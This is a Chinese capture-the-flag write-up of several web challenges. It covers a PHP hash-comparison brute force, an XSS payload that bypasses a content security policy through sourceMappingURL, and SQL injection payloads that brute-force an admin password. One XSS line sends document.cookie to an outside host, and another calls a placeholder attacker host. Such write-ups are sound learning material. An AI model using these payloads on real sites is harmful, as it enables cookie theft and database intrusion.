能力不济,不能在比赛中就很好的解出题目,只好赛后复现了,2333
web1
一顿测试什么也没有,然后目录fuzz了一下,发现了1.php的文件,仔细看了一遍phpinfo()泄露的信息,发现无异常,猜测可能为出题人,测试环境后忘记删除了,估计会误导一大批人。
休息一会,想到会不会是其他类型的文件泄露,尝试vim的默认备份文件.index.php.swp
成功得到源码
<?php
$flag = $_GET['flag'];
if ($flag != '15562') {
if (strstr($flag, 'zctf')) {
if (substr(md5($flag),8,16) == substr(md5('15562'),8,16)) {
die('ZCTF{#########}');
}
}
}
die('ha?')
?>
顺手写个php脚本爆破即可。
<?php
for($i=0;$i<1000000;$i++){
$text='zctf';
$bertram=$text.(string)$i;
if(substr(md5($bertram),8,16)==substr(md5('15562'),8,16)){
echo $bertram;
break;
}
}
?>
web2 find my eye
因为是httrack爬虫爬下来的,因此可确定功能可能都被删减完了。很容易发现concant里是有一个留言板的,大致确认为存储性XSS,盲打就可以了,然而一顿海扁,却并没有什么卵用,字符检测过不了,符号检测过不了。
fuzz后大致确定存在以下关键过滤:
url href src () etc.
开chrome调试后发现存在csp内容安全策略,因此普通的xss payload是肯定过不了的。
于是找到Lorexxar的博客仔细观摩一下csp的bypass,并祭出文章中所有的payload,等了一下午发现还是没有flag。
赛后得到提示关注长短短的twitter,发现这样一段payload
<script>
document.write("<script>"+`ffff=1//# sourceMappingURL=http://nohackair.net/?${escape(document.cookie)}`+"<\/script>")
</script>
然而我记得过滤了#
,?
因此payload应该不能直接使用。
因为主办方没开启web环境就没有进行测试,问了MElody师傅要了Payload:
<script>aaa=1//@ sourceMappingURL=http://xxx:23333/</script>
从payload中就可以看出题目出的很强行2333。
说说Source Map(源映射)
为了在压缩Js代码后,能够映射出出错的代码位置而出现。
格式为 //# sourceMappingURL=file.js.map
在chrome调试过程中需要开启源映射才能定位到错误位置。
最早浏览器是通过 @ sourceMappingURL
标记地址的,但这引发了一些引擎和工具的问题(和 IE 的 @cc_on 冲突),所以现在改成了 # sourceMappingURL
。
没有打cookie是因为,最后flag在UA里。
┑( ̄Д  ̄)┍ (苍天饶过谁)
web3 Easy APK
刚开始拿到题,以为自己进错比赛了。
其实思路很简单,Fiddler抓包就可以了,
抓包以后发现数据加密了,因此需要得到加密算法才能进行下一步。
贴出加密算法的C源码
#include<stdio.h>
#include<string.h>
int main(){
char input[]={"123456789"}; //需加密字符串
char ixor[]={"1470"};
int x=0;
for(int i = strlen(input)-1;i>=0;i--){
printf("%02x",(input[i]^ixor[x%4])&0xff);
x++;
}
return 0;
}
第一个测试字符串admin' #
,返回用户名admin
,说明存在注入。
简单的测试几个SQL字符,发现存在WAF,重要过滤:()
、union select
、where
等,单独 union
或者select
,并不过滤,可能当时脑子有点糊了,一直在想怎么绕过()
,没有想起来绕过union select
的方式。
表结构大致如下
|id | name |password |
|-------|----------------|----------------|
|1 |admin |xxxxxxxxxxxxxxxx|
赛后本地测试了几个拿到的payload,均是利用desc排序来爆破password,
放几个payload:
admin'union distinct select 1,2,0x%s order by 3 desc#
admin' union/*\x0d\x0a*/select 1,'test','%s' order by 3 desc#
在比赛期间绕过本地验证后,第二部分还有一个mail猜测是PHPmailer命令执行漏洞(CVE-2016-10033)
这个漏洞还没复现过,过几天复现一下。2333
web400 only myself
嗯~题目还没看呢
滚来滚去……~(~o ̄▽ ̄)~o 。。。滚来滚去……o~(_△_o~) ~。。。
我能怎么办我也很绝望啊~
参考链接:Source Map 详解